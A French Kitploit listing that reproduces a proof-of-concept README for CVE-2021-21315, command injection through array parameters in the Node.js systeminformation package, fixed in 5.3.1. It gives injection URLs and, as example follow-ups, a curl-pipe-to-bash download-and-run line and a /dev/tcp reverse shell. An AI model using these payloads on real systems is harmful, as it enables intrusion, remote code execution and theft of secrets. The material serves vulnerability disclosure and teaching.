Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-21315-PoC — CVE 2021-21315 PoC | Kitploit
Outils/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
16025il y a 5 ansVérifié par Kitploit

CVE-2021-21315-systeminformation

Ceci est une preuve de concept pour CVE-2021-21315 qui affecte la bibliothèque System Information pour Node.JS (paquet npm "systeminformation"). npmjs.com/systeminformation

"veillez à vérifier ou à nettoyer les paramètres de service qui sont passés à si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... n'autorisez que les chaînes, rejetez tout tableau. La désinfection des chaînes fonctionne comme prévu. "

Parce qu'il s'agit d'une vulnérabilité peu expliquée (à mon avis), j'ai décidé de coder une petite application basée sur la version vulnérable de systeminformation. Le PoC contient :

  1. Application de test réalisée en Node.js, utilisant express et une version vulnérable de systeminformation
  2. Charge utile de test simple pour créer un fichier .txt sur la machine affectée

Étapes pour reproduire :

  1. Exécuter l'application sur un serveur Linux
  2. Faire une requête GET vers site.com/api/getServices?name=nginx (nginx n'est qu'un exemple) obraz
  3. Essayez maintenant d'envoyer une requête comme celle-ci : votresource.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

Cela échouera, en raison de la désinfection des chaînes : obraz

Comme indiqué dans les détails du CVE "la désinfection fonctionne comme prévu, rejette tout tableau [...]"

  1. Essayez maintenant d'envoyer une requête : votresource.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz Cette fois, si vous regardez la valeur "name", elle n'a pas été désinfectée - succès ! Vérifions si la commande a été exécutée

obraz

Succès ! Notre commande a été exécutée. Bien sûr, personne ne se soucie de "pwn.txt", mais un attaquant potentiel peut :

  1. Télécharger des fichiers internes, comme index.js (le cœur de notre application, avec les clés API potentielles, la chaîne de connexion à la base de données et autres)
  2. Télécharger et exécuter des scripts - curl -s http://serveur/chemin/script.sh | bash /dev/stdin arg1 arg2
  3. Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Tuer des processus (vous pouvez également tuer notre application Node de test)
  5. Des choses encore plus malveillantes....

"L'injection de commande" semble inoffensive, mais elle peut avoir un impact énorme si certaines conditions sont réunies.

Le problème a été corrigé dans la version 5.3.1 de "systeminformation" Crédits à https://www.huntr.dev/users/EffectRenan (Il a trouvé la vulnérabilité, mais à mon avis, son "PoC" n'a pas montré l'impact dans le monde réel)

N'hésitez pas non plus à utiliser ce PoC dans des CTF, mais ce serait cool si vous créditiez l'auteur de la découverte - EffectRenan et le créateur du PoC - moi, merci !

Avertissement

Ce projet ne peut être utilisé qu'à des fins éducatives. L'utilisation de ce logiciel contre des systèmes cibles sans autorisation préalable est illégale, et l'auteur décline toute responsabilité en cas de dommages résultant d'une mauvaise utilisation de ce logiciel.

Télécharger l’outil